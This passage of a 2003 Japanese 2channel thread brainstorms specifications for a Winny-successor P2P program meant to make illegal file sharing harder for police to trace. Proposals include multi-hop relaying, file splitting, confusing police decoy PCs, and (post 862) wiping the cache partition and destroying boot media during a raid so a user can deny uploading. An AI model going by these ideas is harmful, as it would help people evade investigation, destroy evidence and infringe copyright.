780 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:16 ID:Hrffpdza
>>768
オープンソースにした方が責任を分散できるし、
開発も多人数で出来る。
OpenSSLはオープンソースだぞ?
クラックされやすいか?

781 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:16 ID:pPYBNFva
管理者を撃墜されて崩壊。

782 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:17 ID:M7ChkXpF
>>763, >>777
だから、警察の囮捜査・定点観測の前には全ての暗号が無意味なんだってば。

ソース公開に暗号化を用いようと思ってる?
それこそ的外れ。



783 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:17 ID:YPIZqulC
こういうのはどうですか?
winnyでファイルを偽装した状態で共有して
warezサイトみたいなページで偽装の解除方法だけを配布するって方法
どうかな?

784 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:18 ID:M7ChkXpF
>>780
クラックされやすいか?なんて言ってる時点でダメですわ。
語弊はあるかもだけど、MXのなんとかパッチとか、そういうのを作るのが、
オープンだと物凄く容易にできる。

785 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:18 ID:ixLxXQ0/
もうかんべんしてくれ

786 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:19 ID:M7ChkXpF
とりあえず >>12-13 etcには目を通しましたかおまいら

787 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:19 ID:LFoYQrRu
>>783
厨が騒ぎそうだな
俺的には面白そうだけど
偽装解除は昔やってたしね

788 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:19 ID:UBs0PDO/
>>779
一度公開鍵を掲示できれば、それ以降永遠に使えるので、
freenetやwinnyBBSでも問題ないと思われる。

>>782
的外れ。



789 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:20 ID:pJzaQHjj
>>782
クラック版使用を防げないかと思ったんだけど

790 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:20 ID:pPYBNFva
暗号ってのは、AとBのみで通信するときに効果があるんだ。
ここで作ろうとしているのはAとB、C、D・・・で通信する物だ。
管理できない人物と通信したい場合暗号は無意味だ。

791 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:21 ID:M7ChkXpF
>>783 >>788
だから配布方法など後で決めればいいんですよ。帰れ


>>788
暗号化は警察のおとり捜査と定点観測に対して無力だと何度も言ってるんですが

792 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:21 ID:KeqTsmt0
>>790
そうだな。

でも暗号かますより多段中継だろ。


793 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:21 ID:pPYBNFva
>>783
僕がらくらく解除法説明サイトを作りますよ。

794 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:21 ID:ixLxXQ0/
暗号化は厨を興奮させる単語らしいな。あと偽装とか解除とか

795 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:22 ID:QrMMVoRa
すごいのが1人2人紛れ込んでるようですが、スルーするしかないですね

796 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:22 ID:UBs0PDO/
>>790
非対称鍵暗号って知ってる?


797 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:23 ID:M7ChkXpF
>>792
それも今までさんざん言われてるコトなんですよ。。。いわゆるガイシュツ

798 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:23 ID:LFoYQrRu
だからパケットを分散させて多段中継させるアイデアを書いたんだけどな

799 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:23 ID:M7ChkXpF
>>796
それ使うのがベストなんですけど、暗号論議は他でやってくださいね

800 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:24 ID:Ji3eZPM1
>>763=>>788
それだとFTP鯖交換で十分だろう?

801 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:24 ID:GuxrSiXR
クラック版防ぐぐらいなら、
 CRCをチェックして不正な改造があったら、
 使えないようにすればいいんじゃない??

 実際には、恐らく認証用のCRCをクラックされると思うから、
 そこは、ある程度つないで
  CRCを定期的に誰かが送信するわけ、
  んで、それを受信しないと使えないようにする。

 もし受信したCRCと、本体のCRCが違えば、
  不正な改造と見なす。

 これでクラック不可能だと思うんだけど…

802 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:24 ID:LFoYQrRu
偽装自体面白いよ
どこまで難しく出来るか考えるのって案外面白い

803 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:25 ID:M7ChkXpF
えーと、クラック版を防ぐ方法については、

マ板のどっかのスレでやってたと思うので、そっち逝って下さい。

804 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:25 ID:pPYBNFva
>>796
非対称であっても暗号は特定の自分に使用する。
不特定の人に公開する=みんなが暗号の解除法を知っているから暗号の意味は無い。

805 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:26 ID:LFoYQrRu
つまんないパッチを作る奴が現れないようにしないとな

806 名前:803 投稿日:03/11/29 21:26 ID:M7ChkXpF
といっても、バイナリの逆アセetc を防ぐとかそういうのですが、まあそっち逝けや

807 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:26 ID:UBs0PDO/
>>799
暗号云々じゃなく、
オープンソースとクラック対策をどう両立するかと、それを実現するための技術背景の話ですが。
どの暗号を使うかではなく、非対称という特性を利用していかに強固な仕組みを作るかが焦点です。



808 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:27 ID:pPYBNFva
> もし受信したCRCと、本体のCRCが違えば、
>  不正な改造と見なす。
よし、この部分を潰すか。


809 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:27 ID:KJ6PWk7l
> もし受信したCRCと、本体のCRCが違えば、
>  不正な改造と見なす。

この部分のifをクラックすれば一発だ罠

810 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:27 ID:GuxrSiXR
まず 黒い背景に黒い文字
 やっと見つけたと思いクリック
  ブラクラ・・・
 トップになぜかある風景画像…
   あまりに意味なさ過ぎる。あやしい。
   とりあえず うめーこみかんに突っ込む
   何もない。
   適当にメモ帳で開いてみる。
   最後のほうに PASS : 12344 
    キタ━━(゜∀゜)━━。
    早速、アドレスのところに/12344を入れて開く
  しかし賑わってなかった(糞)
    次探そうっ・・・

 ってことをやってた時代に帰るのか?


811 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:28 ID:M7ChkXpF
>>808 >>809

だからそういうのはマ板でやれと

812 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:28 ID:8+3UyuK4
ココ(2ch)で議論して作ろうってのが無理のような。
ていうか無理、極めて不効率。
それこそ47氏みたいに一人で作ってしまう方が現実的。
ココ以外でやれば?ココでの議論も参考にするのは良いとして。
せっかく面白そうなのに(見てるだけの人間だけど)。

813 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:28 ID:UBs0PDO/
>>804
ここで言っている暗号化は、ファイルの暗号化ではなく、電子署名の話ですが。


814 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:28 ID:KeqTsmt0
ともかく過去ログ
ttp://www.42ch.net/UploaderSmall/source/1070108867.zip
datとhtmlとtxt

815 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:29 ID:pPYBNFva
あれ? オープンソースはやめたの?
また警察に没収されて、警察仕様版で犯罪者が探索されるね。

816 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:30 ID:oBmaHvcx
>>810
そういう時代もそれはそれで楽しかったけどね

817 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:30 ID:PNmKvE3d
公開フォルダに完全キャッシュを持たないwinnyじゃだめなの?
一定%まではいままで通り公開フォルダに保存でそれを超えたら別フォルダに移動、
完全なファイルに変換した後分割して公開フォルダに移動、その際分割した一つを複数の
PCにUPした後、残りを公開フォルダへ。自分の公開フォルダ内では完全になりえるものを
持たない。
また転送時も何%かまで保持した後は他のPCに任せる様に一旦切断して常に完全キャッシュ
を持たない。
UPするときも分割変換した後に上記の方法で公開フォルダに移動。

というのならすぐ作れると思うけどだめ?

818 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:31 ID:ixLxXQ0/
>>817
すぐ作れる?今すぐとりかかってくれ

819 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:32 ID:LFoYQrRu
本体を圧縮してしまえば良い
勿論既存の方法などアルゴリズムが公開されてるから意味無いが
独自のアルゴリズムにすれば下らんパッチも作られる事も減るだろう

820 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:33 ID:M7ChkXpF
>>817
それ加えて、責任分散のための機能が必要というお話。
ファイル分割と、多重ダウンロード。。。

821 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:33 ID:JWqPfwJZ
>>815
>>724


822 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:34 ID:e8MIGzc8
>>819
Win上で動く以上メモリダンプすると丸見えになる。

823 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:34 ID:M7ChkXpF
>>819
それもそうですね
実装する人に言ってあげて
ここは仕様スレ

824 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:34 ID:LFoYQrRu
>>810
それもまた面白いと思うけどね
厨には分からない昔の思い出

825 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:35 ID:M7ChkXpF
>>724 >>821
差し替えるというより、非公開にすれば良いだけかと

826 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:36 ID:QrMMVoRa
さっきから煽ろうとしている奴が共有ファイルの暗号化だと思って
オープンソースやめたの?とか見当はずれなことを書いてるのを見てるだけで楽しいです。

えっと、皆さん頑張ってください

827 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:37 ID:pPYBNFva
定期あげ

828 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:37 ID:JWqPfwJZ
>>825
差し替えておけば、ある程度の時間はKとCrackを防げるし、最悪Kにソースコード押収されても、そのサンプルを基にして、再開発も結構早く進む・・・はず・・・


829 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:38 ID:LFoYQrRu
>>822
LZXて知ってる?
デコーダー部分と圧縮されてる本体が一緒になってて
起動するとメモリー上に解凍されて初めて動くという代物

>>823
ひとつの仕様としてさ

830 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:38 ID:GuxrSiXR
>>827
定期あげもなんもいらんから
 sage 下げてくれー。

831 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:38 ID:pJzaQHjj
仕様スレって何するところ?
とりあえず次スレテンプレで誘導して

832 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:38 ID:M7ChkXpF
>>828
要するに隠したい差し替え部分はクローズドってことですよね。
終了。

833 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:38 ID:0asPoEqu
ファイルには、ファイル名とかのインデックスはつけない。
インデックスは別に配布して、しかもファイルのSHAだけつける。
インデックスとファイルは複数に分割して、しかもバイトインターリーブとか
して、全部そろわないとなんだかわからないようにして、関係ないところに置
く。最初の64ビットくらいをIVにすれば完璧。
で、ファイルをあちこちに分割したら、それらを全部コピーして再構成しない
と著作権法違反は立証できないけど、その立証自体が違法コピーになるわな。


834 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:39 ID:KJ6PWk7l
>>819
デバッガ上で動かして展開完了して動き出したところを(略

835 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:39 ID:JWqPfwJZ
>>832
まあそういうことですね。
糸冬。

836 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:39 ID:M7ChkXpF
>>829
だからそんな実装よりの仕様はもっと後で話そうというのがスレの流れ。
やめれ。


>>831
ていうか>>12-13をちゃんと読めばなんとなく分かると思うんですが



837 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:40 ID:ixLxXQ0/
>>831
テンプレ

・"こ こ は 仕 様 だ け を 妄 想 す る ス レ ッ ド で す。
 実装できる人は、他のスレッドでお願いします。

・次期Winnyではマルチプラットフォームを目指すので
 Unix板 Linux板 Mac板の方も楽しいお話の提供、お願い致します。

・「現時点で組み始めたいんだけど」
 スレ違いです。


838 名前: ◆Cha/YIurjE 投稿日:03/11/29 21:41 ID:MGnCC2d2
つまり現実的な実装予定は
・暗号化
・分割
・多ノードを中継&多重DL
・RAMの使用
・パッチ防ぎ
・本体圧縮(パッチ防ぎ)
・偽装パケット

残りの問題は
・厨防止するのか(偽装など)
・暗号化、複合化の鍵はどうするか
・オープンソース?
・偽パケットの対応

839 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:41 ID:xwaGcwlR
>>833
著作権者から同意を得ればコピー可能なわけで。
当然協力しあうだろうな。

840 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:41 ID:M7ChkXpF
だから >>833 みたいなピント外れorガイシュツの意見をいちいちつぶすのはめんどくさいんですよ。
立証自体が違法コピーって、相手は警察ですよ?

続きは
ttp://tmp2.2ch.net/test/read.cgi/download/1070084504/
こっちが兄弟スレで法関係ギロンしてるのでどうぞ

841 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:42 ID:rXj/yljs
お前らも今は前頭葉が真っ赤

842 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:42 ID:pPYBNFva
>>833
いくら警察が違法コピーしても親告罪である以上、
警察だけは訴えられない。

843 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:42 ID:QrMMVoRa
NGワード
ixLxXQ0/ pPYBNFva

844 名前: ◆Cha/YIurjE 投稿日:03/11/29 21:42 ID:MGnCC2d2
>>838
パッチ防ぎかぶった・・・いってk(ry

845 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:42 ID:M7ChkXpF
>>838
実際、全体像はそれに近いんだけど、
まだギロンすべきじゃないことが多すぎる

846 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:43 ID:/SMdQfPt
今、厨がウジャウジャ居るけど、すでにほかの場所に技術屋は移動して議論してるよ。
オイラは他分野なんで技術提供できなく歯がゆいが、つねにROMらせてもらってるよ。

厨がこられると困ると思うので場所は言えない。
2ch/nyBBS/ツリー掲示板じゃないよ。

847 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:43 ID:ypWDru3F
こっちのスレはエロイ人に任せて
こっちに行こう

37歳氏の新P2Pソフト完成をじっくり待つ会 Part2
ttp://tmp2.2ch.net/test/read.cgi/download/1070096120/


848 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:43 ID:LFoYQrRu
>>834
結局完璧な匿名なんてネット上では難しいと・・・

>>836
分かったよ

849 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:43 ID:vVZx41Vd
多人数で海外にサバを立てて、トラヒックは全て
そこを経由する、とかどう?


850 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:43 ID:GuxrSiXR
ちと雑談なんだが
 明日 CG/MM検定を受けるんだが、
 一日中、この版に常駐しております。
 まあ、マークシートだし70%以上は確実なので
 さっさと終わらせます。 勝手な雑談でした。
---------------------------------------------------
GUIよりもCUIにしたほうが開発は楽になる。
 まあインターフェースはあとでいいとして。

 仕様を決めるスレなわけだが、
  どうやってまとめていこうかねー。
 

851 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:45 ID:pPYBNFva
>>843
君のような奴が一番ウザイ。
NGにしたければ勝手にすればいいだろ。
ゴミレス。

852 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:45 ID:M7ChkXpF
>>849 だから鯖建てるヤシが居ないんだってば。建てたヤシがタイーホ。海外だろうが実質的に一緒。

>>850
「インターフェイス」とか書かないで。
それはどうでもいいことなの。

853 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:46 ID:LFoYQrRu
>>849
トラヒック・・・
鯖代誰が出すの

854 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:46 ID:e3YRojTP
なんかやばくなった時のためにフォルダを完全に書き換えちゃう
機能もしくはツールもあった方がよくない?

855 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:47 ID:pPYBNFva
それでは真面目に議論したい方は>>846推薦のこちらへどうぞ。
P2P総合
ttp://pc2.2ch.net/test/read.cgi/tech/1048668198/l50

856 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:47 ID:gqoM2+oG
Live2chのIDポップアップはこういうスレで非常に便利だな

857 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:47 ID:M7ChkXpF
>>854 まじめなフリしてageてるあなたは釣り師ですか そうですか
そういうツールはここではスレ違いなんで帰れ。

858 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:48 ID:M7ChkXpF
>>855
>それでは真面目に議論したい方は>>846推薦のこちらへどうぞ。

おまいはマ板について何にもしらないんですね

859 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:48 ID:LFoYQrRu
>>854
HDDのFATを破壊しちゃうと

860 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:49 ID:LFoYQrRu
俺も気をつけよ

861 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:49 ID:pJzaQHjj
>>846
その途中経過ってこっちには流れてこないの?
できればその経過を報告してくれると嬉しいんですけど
そっちに迷惑かかるようならいいです。

862 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:49 ID:D0qncxug
できれば1CDでWinとは別に起動するP2Pソフトにしたらどうだろう?
起動時には10桁くらいの暗証番号を入力してそれをキャッシュ暗号化の鍵にする
暗証番号がわからなければ自分のHDDにためているキャッシュはどんなファイルのキャッシュかわからない。
暗証番号を連続3回間違えるとキャッシュのあるHDDのパーテーションに強制0書き込みw
あとK札に踏み込まれても電源切ればキャッシュの解析は暗証番号がわからなければ不可能で
実行していたCDを割るか焼くなど読み取れないように破壊すればPCにはキャッシュから変換したファイルと
解読不明なキャッシュしか残らないのでダウンのみでアップした覚えはないと言い張れるはず。

863 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:51 ID:PNmKvE3d
freenetではどうやってこの問題を解決してるのであろうか?
使用者の数で力づく?


864 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:51 ID:pPYBNFva
>>858
> おまいはマ板について何にもしらないんですね
そこム板w

865 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:51 ID:KeqTsmt0
>>862
既出物を組み合わせたような感じだな

866 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:52 ID:M7ChkXpF
>>862
暗号化は警察の囮捜査に無意味。
HDDの暗号化はスレ違い。

実際、この議論に必要なのは、
プログラマというより、ちゃんと問題点を洗い出せて、優先順位をつけて議論できる人なの
わかりますでしょうか


867 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:52 ID:e8MIGzc8
>>862
OSから設計する訳ですか。

868 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:53 ID:bgQEmCfu
P2Pソフトの匿名性をあげたりするよりかは
保険機構をつくって逮捕者がでたらそこから保釈金なり損害賠償をだせばいい
たとえ3億要求されても会員が20万人いたら一人あたま1500円でいける
当然保険の内容から株式会社なんてのには成れんし、会員名簿が極めて危険な
ものになることはわかってるけど

やっぱあまりにも非現実的ですかね?

869 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:53 ID:/SMdQfPt
>>861
ぼくの判断では出来ないと思います。
迷惑をかける事を考えた場合。
そこの技術屋がここに書き込むかもしれませんし。

ぼくは、他分野なんでむやみにコピペで
変な方向にいくのも嫌なんで。
>>855のスレでもないですよ。

870 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:53 ID:GuxrSiXR
んなものCDじゃなくFDでいいだろ…
 あれなら簡単に破壊できるからなー。

まあ そのネタは、過去ログにあるはずだが。
 

871 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:53 ID:LFoYQrRu
AMIGAかATARI FALCONで作るとかな
厨には扱えない

872 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:54 ID:M7ChkXpF
>>868
確かにそうなんだけどここはあくまでもP2Pソフトの仕様について考えるスレなんですよ。
分かりますか?



873 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:54 ID:pJzaQHjj
>>869
サンクス分かりました

874 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:55 ID:3qs/iFbH
じゃあここかな?
ttp://slashdot.jp/articles/03/11/27/1422230.shtml?topic=74

875 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:56 ID:j1i0PPzY
>>866
そうだね。でも、捜査内容の詳細が公開されない限り、議論が進まないね。

876 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:57 ID:lO4krHlq
>>868
面白いけど、どれだけの人数が加入するのかってのと、
持ち逃げされるリスクが高すぎるってのが問題だな。

877 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:58 ID:3qs/iFbH
>>875
捜査内容の詳細を公開するように
匿名で訴えよう。

878 名前:S2400 ◆UEEVKPOKqs 投稿日:03/11/29 21:58 ID:iZ0yo0bO
なんだ、また逆戻りしてたのか・・・

879 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:58 ID:M7ChkXpF
>>875
>捜査内容の詳細が公開されない限り、議論が進まないね。
だから安全側を考えて設計しようという話になってんですよ
具体的には、
ファイル分割して責任を分散して、逮捕しにくくするとか


ってすんごい何回も言ってんだけどね。勘弁してくれマジデ

>>874
スラドのスレで開発が進むなんて話聞いたことない。
アレは上品な2chみたいなもの

880 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:58 ID:LFoYQrRu
>>875
プライオリティが無くグチャグチャのままスレが進んでる
どんどん論点がずれていく・・・
自分もアフォな事書いたけどね

881 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:59 ID:3qs/iFbH
>>876
持ち逃げなんて考えているとクローズドになっちゃうよ。

882 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:00 ID:KeqTsmt0
警察の捜査法なんてどうせ正攻法じゃないんだよ。
今回も、そしていつでも。
個々で話し合うべきものはそれではないはずだ。

883 名前:868 投稿日:03/11/29 22:00 ID:bgQEmCfu
>>872
ごめん、書き込むスレッドまちがえてたや
誤爆ってことでスルーおねがいね

884 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:00 ID:cR+jpcYN
>>869
少しぐらい教えてよ。なんか案がでるかもしれない。

885 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:01 ID:LFoYQrRu
今時持ち逃げも糞も無いって
世界は共有TOOLの方に向いている
イタリア最大のMX関連サイトも潰れたし

886 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:02 ID:fM6aenfy
結論はもうずいぶん前に出てるだろ。

TCP/IP使う限り何やっても気休めにしかならない。
無理、無駄、無意味。

逮捕が怖くない人だけで違法ファイル交換すればいい。

887 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:02 ID:e8MIGzc8
>>885
持ち逃げされるのは保険料だろ。

888 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:02 ID:j1i0PPzY
>>879
何いってんの。ファイル分割してもダメだっていってるじゃん。
今のところ、捜査から逃れられるような案は出ていないんだよ。
だから、捜査内容の詳細がわからないとダメなんだってば。何度も言ってるのに・・・

889 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:02 ID:xwaGcwlR
クローズドだと、開発者が裏切った時にどうしようもないんだよなぁ。

890 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:04 ID:vVZx41Vd
>>852-853
サバ代は広く薄く分担する。たとえば、在外の
人間に立ててもらい、そこに寄付する形で。
もしくは既存のプロキシを使ってもいいけど。

とにかくP2Pのトラヒックの大部分が違法で
あることを考えると、KのPCと直接接続しない
仕組みを作るところから始めないと
ダメな気がするが。


891 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:04 ID:M7ChkXpF
>>881が「クローズド」とか適当なコトバを使うから誤解が生まれてますが、


おまいら、それ、スレ違いなんよ。保険料とか。
他スレが喜びそうなネタだと思うよ。

892 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:05 ID:LFoYQrRu
>>887
虫篭なんてあるのはMXだけだよ
他のTOOLにはないし・・・XNAPにはあるけど

893 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:05 ID:M7ChkXpF
>>890
だからそもそも特定の人間に依存するP2Pという時点で間違い。集金とかも現実的じゃない。
現実的にソフトで出来ることを考えよう。

んでココ、仕様です。

894 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:06 ID:KeqTsmt0
 P2Pもこのスレも二極化が始まってるのか?

895 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:06 ID:GuxrSiXR
>>890
kのPCと直接接続しないなんていう仕組みをどうやって作るんだ??
 我々のように個人で居座ってるやつもいるんだ。
 そこらへんどうしろと?

896 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:06 ID:pJzaQHjj
前スレ1はテンプレ製作中?
今まででた仕様をまとめて次スレにいった方がいいんじゃないのもうすぐ900だし
新しい案は次スレでってことで

897 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:06 ID:U/ap+gmv
トラフィックが多いとばれるから
最大で10kbpsしかでないシステムにするとか。

898 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:07 ID:U/ap+gmv
いっとくが俺は警察です。

899 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:08 ID:M7ChkXpF
>>895
そんなことはできません。KのおとりPCが判別できません。
それくらいも分からないならヘタにカキコしないで
(UDPがどうとかもガイシュツ

900 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:08 ID:e8MIGzc8
>>888
言ってるだけで実際そうなのかは解んないんだろ?
そうじゃないっていう前提でなんとかしようってスレ。
人身御供をお供えして実験してみるために案を出し合うってスレでも良い。

>>892
脳味噌がファイル共有ツールに犯されてるのか?

901 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:08 ID:GuxrSiXR
>>897
 もうちょい出してもいいだろう。
 
 転送量が小さい--------------------大きい
 長時間接続可----------------------長時間接続不可
 というようにしてはどうだろうか?

902 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:09 ID:6MzrJw1A
だから、結論として
逮捕されない仕組みなんて作れないんだよ。
いくら議論しても無駄。

903 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:09 ID:LFoYQrRu
>>897
それがいいな
56Kで何十時間も繋いで数百Mのファイルを落としてる外人もいるんだし

904 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:10 ID:KeqTsmt0
>>902
あたりまえだろ。
だからこうしていくらか「されにくい」技術を考えてるんじゃないか?

905 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:10 ID:M7ChkXpF
次スレの1には、ぜひ次の一文を加えて頂きたい。


「単発のアイデアは良く考えてから、カキコしてください。
十中八九、ガイシュツとかスレ違いとかピントはずれと言われちゃいます。」

906 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:10 ID:6MzrJw1A
>>904
それなら現状でいいじゃん。

907 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:10 ID:LFoYQrRu
>>900
日本だけなんだよ
持ち逃げウザイとか言ってるのはさ
下らん島国根性捨てろよ

908 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:10 ID:EF77BNOV
>>581
ファイルの流通はコントロールできそうにないから、
ファイルのデコードをコントロールしようという意味だったんだけど。
誤解されたかな。

909 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:11 ID:j1i0PPzY
>>900
最初と言ってること変わってるし・・・
安全側に倒すんだろ? なら何故、人身御供なんて言葉が出るんだ?

910 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:11 ID:M7ChkXpF
転送量の具体的な値などは今はどうでもいいです

他スレでどうぞ。

911 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:12 ID:GuxrSiXR
されないとされにくいでは、かなり違う。

 まず されない 100%無理
 
 されにくい 少しは可能。



912 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:12 ID:6MzrJw1A
切りよく16kbpsでいいんじゃね?

913 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:13 ID:e8MIGzc8
>>907
これで解んなきゃナムナム。
共産主義国家に亡命してくれ。

>>868
>>876
>>881
>>885
>>887
>>900
>>907


914 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:13 ID:M7ChkXpF
>>908
だからファイルの暗号化よりも、
如何にK察の囮PCをカクランするかが主眼なんだってば

その程度も読み取れてないならカキコしないで

915 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:13 ID:vVZx41Vd
>>893
集金じゃなくて、寄付。使いたければ払う。
ただ、払ってまで使いたいようなものでも
ないという事実が露見する可能性も高いが。

>>895
だからプロキシ的なものを経由する。で、それが
海外にあれば、Kも追跡しづらい(はず)。


916 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:14 ID:KeqTsmt0
>>914
一個人の環境で再現してれば無駄だって何回出た?

917 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:14 ID:6MzrJw1A
>>914
警察のおとりPCかわかんないんだから、
結局みんなかく乱されてしまうだろ。

918 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:14 ID:pR2jJab5
初期ノード情報の取得だけど、共有のポートとは別に固定のポート番号を
持たせて、人口の多いISPのIPアドレスに向けて総当たり的に聞いてみたら
稼働中の奴から返事返ってこないかな?
